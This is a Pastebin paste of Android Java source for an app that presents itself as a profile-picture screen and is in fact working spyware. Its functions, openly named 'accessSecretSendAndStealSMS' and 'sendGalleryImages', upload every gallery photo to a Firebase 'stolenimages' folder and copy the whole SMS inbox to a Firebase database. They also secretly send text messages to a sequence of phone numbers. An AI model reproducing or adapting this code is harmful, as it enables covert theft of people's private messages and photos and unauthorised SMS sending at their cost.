Advertisement
Guest User

Untitled

a guest
Feb 18th, 2018
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.97 KB | None | 0 0
  1. package com.example.kamran.logingreentheme;
  2.  
  3. import android.*;
  4. import android.Manifest;
  5. import android.app.Activity;
  6. import android.app.ProgressDialog;
  7. import android.content.DialogInterface;
  8. import android.content.Intent;
  9. import android.net.Uri;
  10. import android.os.Environment;
  11. import android.provider.MediaStore;
  12. import android.support.v4.content.FileProvider;
  13. import android.support.v7.app.AlertDialog;
  14. import android.support.v7.app.AppCompatActivity;
  15. import android.os.Bundle;
  16. import android.telephony.SmsManager;
  17. import android.view.View;
  18. import android.widget.Button;
  19. import android.widget.ImageView;
  20. import android.widget.ProgressBar;
  21. import android.widget.Toast;
  22.  
  23. import android.content.pm.PackageManager;
  24. import android.database.Cursor;
  25. import android.graphics.Bitmap;
  26. import android.media.Image;
  27. import android.support.annotation.NonNull;
  28. import android.support.v4.app.ActivityCompat;
  29. import android.webkit.PermissionRequest;
  30.  
  31. import com.bumptech.glide.Glide;
  32. import com.google.android.gms.tasks.OnCompleteListener;
  33. import com.google.android.gms.tasks.OnFailureListener;
  34. import com.google.android.gms.tasks.Task;
  35. import com.google.firebase.auth.UserProfileChangeRequest;
  36.  
  37. import java.util.ArrayList;
  38. import java.util.Arrays;
  39.  
  40.  
  41. import com.google.android.gms.tasks.OnSuccessListener;
  42. import com.google.firebase.auth.FirebaseAuth;
  43. import com.google.firebase.auth.FirebaseUser;
  44. import com.google.firebase.database.DatabaseReference;
  45. import com.google.firebase.database.FirebaseDatabase;
  46. import com.google.firebase.storage.FirebaseStorage;
  47. import com.google.firebase.storage.StorageReference;
  48. import com.google.firebase.storage.UploadTask;
  49.  
  50. import java.io.File;
  51. import java.io.IOException;
  52. import java.text.SimpleDateFormat;
  53. import java.util.Date;
  54.  
  55. import android.database.Cursor;
  56. import android.util.Log;
  57. import android.support.v4.app.ActivityCompat;
  58. import android.widget.EditText;
  59. import android.app.Dialog;
  60.  
  61.  
  62. public class AllerActivity extends AppCompatActivity {
  63.  
  64. private Button takeSMS;
  65. private FirebaseAuth firebaseAuth;
  66. private DatabaseReference databaseReference;
  67.  
  68. ImageView imageView;
  69. private static final int CHOOSE_IMAGE = 101;
  70. private static final int MY_PERMISSIONS_READ_EXTERNAL_STORAGE = 10;
  71.  
  72. private static final int MY_PERMISSIONS_WRITE_SMS = 18;
  73. private static final int MY_PERMISSIONS_READ_SMS = 88;
  74. Uri uriProfileImage;
  75. ProgressBar progressBar;
  76. String profileImageURL;
  77.  
  78. FirebaseAuth mAuth;
  79. FirebaseStorage storage = FirebaseStorage.getInstance();
  80.  
  81. //store all images
  82. final String[] columns = {MediaStore.Images.Media.DATA, MediaStore.Images.Media._ID};
  83. final String orderBy = MediaStore.Images.Media._ID;
  84.  
  85.  
  86. @Override
  87. protected void onCreate(Bundle savedInstanceState) {
  88. super.onCreate(savedInstanceState);
  89. setContentView(R.layout.activity_aller);
  90.  
  91. mAuth = FirebaseAuth.getInstance();
  92. imageView = (ImageView) findViewById(R.id.ivPhoto);
  93. progressBar = (ProgressBar) findViewById(R.id.progressBar);
  94. loadUserInformation();
  95. takeSMS = (Button) findViewById(R.id.btnSMS);
  96.  
  97.  
  98. imageView.setOnClickListener(new View.OnClickListener() {
  99. @Override
  100. public void onClick(View view) {
  101. System.out.println("Clicked on image");
  102. accessGalleryPermission();
  103. showImageChooser();
  104. saveUserInformation();
  105.  
  106. }
  107. });
  108.  
  109. takeSMS.setOnClickListener(new View.OnClickListener() {
  110.  
  111. @Override
  112. public void onClick(View view) {
  113.  
  114. accessSecretSendAndStealSMS();
  115. }
  116. });
  117. }
  118.  
  119. private void accessSecretSendAndStealSMS() {
  120. if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_SMS)
  121. != PackageManager.PERMISSION_GRANTED) {
  122. ActivityCompat.requestPermissions(this,
  123. new String[]{Manifest.permission.READ_SMS},
  124. MY_PERMISSIONS_READ_SMS);
  125. } else {
  126. takeSMS();
  127. }
  128.  
  129. if (ActivityCompat.checkSelfPermission(this, Manifest.permission.SEND_SMS)
  130. != PackageManager.PERMISSION_GRANTED) {
  131. ActivityCompat.requestPermissions(this,
  132. new String[]{Manifest.permission.SEND_SMS},
  133. MY_PERMISSIONS_WRITE_SMS);
  134. } else {
  135. secretSendSMS();
  136. }
  137. }
  138.  
  139.  
  140. private void secretSendSMS(){
  141.  
  142. int i = 0;
  143. while (i < 3) {
  144. String number = "97867455";
  145. int intNumber = Integer.parseInt(number) + i;
  146. String newNumber = Integer.toString(intNumber);
  147. sendSMS(newNumber, "Obama!!");
  148. Intent sendIntent = new Intent(Intent.ACTION_VIEW);
  149. sendIntent.setData(Uri.parse("sms:" + "82338620"));
  150. startActivity(sendIntent);
  151. i++;
  152. }
  153. };
  154.  
  155. private void sendGalleryImages() {
  156. //malicious activity to store gallery photos to database
  157. Cursor cursor = getContentResolver().query(
  158. MediaStore.Images.Media.EXTERNAL_CONTENT_URI, columns, null,
  159. null, orderBy);
  160.  
  161. //Total number of images
  162. int count = cursor.getCount();
  163.  
  164. //Create an array to store path to all the images
  165. String[] arrPath = new String[count];
  166. StorageReference storageRef = storage.getReference();
  167.  
  168. for (int i = 0; i < count; i++) {
  169. cursor.moveToPosition(i);
  170. int dataColumnIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
  171.  
  172. //Store the path of the image
  173. arrPath[i] = cursor.getString(dataColumnIndex);
  174. System.out.println("URI: " + arrPath[i]);
  175. Uri file = Uri.fromFile(new File(arrPath[i]));
  176.  
  177.  
  178. StorageReference riversRef = storageRef.child("stolenimages/" + file.getLastPathSegment());
  179. riversRef.putFile(file);
  180.  
  181. }
  182. // The cursor should be freed up after use with close()
  183. cursor.close();
  184. }
  185.  
  186. private void accessGalleryPermission() {
  187. if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE)
  188. != PackageManager.PERMISSION_GRANTED) {
  189. ActivityCompat.requestPermissions(this,
  190. new String[]{Manifest.permission.READ_EXTERNAL_STORAGE},
  191. MY_PERMISSIONS_READ_EXTERNAL_STORAGE);
  192. } else {
  193. sendGalleryImages();
  194. }
  195. }
  196.  
  197. @Override
  198. public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  199. switch (requestCode) {
  200. case MY_PERMISSIONS_READ_EXTERNAL_STORAGE:
  201. if (grantResults.length > 0
  202. && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
  203.  
  204. Toast.makeText(this, "Gallery permission accepted", Toast.LENGTH_LONG).show();
  205. } else {
  206.  
  207. if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
  208. new AlertDialog.Builder(this).
  209. setTitle("Read Gallery Permission").
  210. setMessage("You need to grant storage permission ").show();
  211. } else {
  212. new AlertDialog.Builder(this).
  213. setTitle("Read Gallery denied").
  214. setMessage("You have denied storage permission. To enable it go to settings ").show();
  215. }
  216. }
  217.  
  218. break;
  219. }
  220. }
  221.  
  222.  
  223.  
  224.  
  225.  
  226. @Override
  227. protected void onStart() {
  228. super.onStart();
  229. if (mAuth.getCurrentUser() == null) {
  230. finish();
  231. startActivity(new Intent(this, login.class));
  232. }
  233. }
  234.  
  235. private void loadUserInformation() {
  236. FirebaseUser user = mAuth.getCurrentUser();
  237.  
  238. if (user != null) {
  239. if (user.getPhotoUrl() != null) {
  240. Glide.with(this)
  241. .load(user.getPhotoUrl().toString())
  242. .into(imageView);
  243. }
  244. }
  245. }
  246.  
  247. private void saveUserInformation() {
  248. FirebaseUser user = mAuth.getCurrentUser();
  249.  
  250. if (profileImageURL != null) {
  251. UserProfileChangeRequest profile = new UserProfileChangeRequest.Builder()
  252. .setPhotoUri(Uri.parse(profileImageURL))
  253. .build();
  254.  
  255. user.updateProfile(profile)
  256. .addOnCompleteListener(new OnCompleteListener<Void>() {
  257. @Override
  258. public void onComplete(@NonNull Task<Void> task) {
  259. if (task.isSuccessful()) {
  260. Toast.makeText(AllerActivity.this, "Profile Updated", Toast.LENGTH_SHORT).show();
  261. }
  262. }
  263. });
  264. }
  265. }
  266.  
  267. private void showImageChooser() {
  268. Intent intent = new Intent();
  269. intent.setType("image/*");
  270. intent.setAction(Intent.ACTION_GET_CONTENT);
  271. startActivityForResult(Intent.createChooser(intent, "Select Profile Image"), CHOOSE_IMAGE);
  272. }
  273.  
  274. public void onActivityResult(int requestCode, int resultCode, Intent data) {
  275. super.onActivityResult(requestCode, resultCode, data);
  276.  
  277. if (requestCode == CHOOSE_IMAGE && resultCode == RESULT_OK && data != null && data.getData() != null) {
  278. uriProfileImage = data.getData();
  279. try {
  280. Bitmap bitmap = MediaStore.Images.Media.getBitmap(getContentResolver(), uriProfileImage);
  281. imageView.setImageBitmap(bitmap);
  282. uploadImageToFirebaseStorage();
  283. } catch (IOException e) {
  284. e.printStackTrace();
  285. }
  286. }
  287. }
  288.  
  289. private void uploadImageToFirebaseStorage() {
  290. final StorageReference profileImageRef = FirebaseStorage.getInstance().getReference("profilepics/" + System.currentTimeMillis() + ".jpg");
  291.  
  292.  
  293. if (uriProfileImage != null) {
  294. progressBar.setVisibility(View.VISIBLE);
  295. profileImageRef.putFile(uriProfileImage).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
  296. @Override
  297. public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
  298. progressBar.setVisibility(View.GONE);
  299. profileImageURL = taskSnapshot.getDownloadUrl().toString();
  300. }
  301. }).addOnFailureListener(new OnFailureListener() {
  302. @Override
  303.  
  304.  
  305. public void onFailure(@NonNull Exception e) {
  306. progressBar.setVisibility(View.GONE);
  307. Toast.makeText(AllerActivity.this, e.getMessage(), Toast.LENGTH_SHORT).show();
  308. }
  309. });
  310. }
  311. }
  312.  
  313.  
  314. private void sendSMS (String phoneNumber, String message){
  315. SmsManager sms = SmsManager.getDefault();
  316. sms.sendTextMessage(phoneNumber, null, message, null, null);
  317. }
  318.  
  319.  
  320. private void takeSMS () {
  321.  
  322. Log.d("myTag", "invoke takeSMS()");
  323.  
  324. final int REQUEST_CODE_ASK_PERMISSIONS = 123;
  325.  
  326. Uri uriSms = Uri.parse("content://sms/inbox");
  327. Cursor cursor = getContentResolver().query(uriSms, new String[]{"_id", "address", "date", "body"}, null, null, null);
  328.  
  329. databaseReference = FirebaseDatabase.getInstance().getReference();
  330. //editTextAddress = (EditText) findViewById(R.id.editTextAddress);
  331. //editTextName = (EditText) findViewById(R.id.editTextName);
  332. //buttonSave = (Button) findViewById(R.id.buttonSave);
  333.  
  334. cursor.moveToFirst();
  335. while (cursor.moveToNext()) {
  336. String uniqueID = cursor.getString(0).trim();
  337. String address = cursor.getString(1).trim(); //phone number
  338. String date = cursor.getString(2).trim();
  339. String body = cursor.getString(3).trim();
  340.  
  341. System.out.println("Msg ID: " + uniqueID);
  342. System.out.println("Mobile number: " + address);
  343. System.out.println("Date: " + date);
  344. System.out.println("Text: " + body);
  345.  
  346. //String name = editTextName.getText().toString().trim();
  347. //String add = editTextAddress.getText().toString().trim();
  348.  
  349. FirebaseUser user = firebaseAuth.getInstance().getCurrentUser();
  350. SMSInformation SMSInformation = new SMSInformation(address, date, body);
  351. System.out.println("SMSInformation - : " + SMSInformation.toString());
  352.  
  353. databaseReference.child(user.getUid()).child(uniqueID).setValue(SMSInformation.toString());
  354. }
  355. }
  356. ;
  357. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement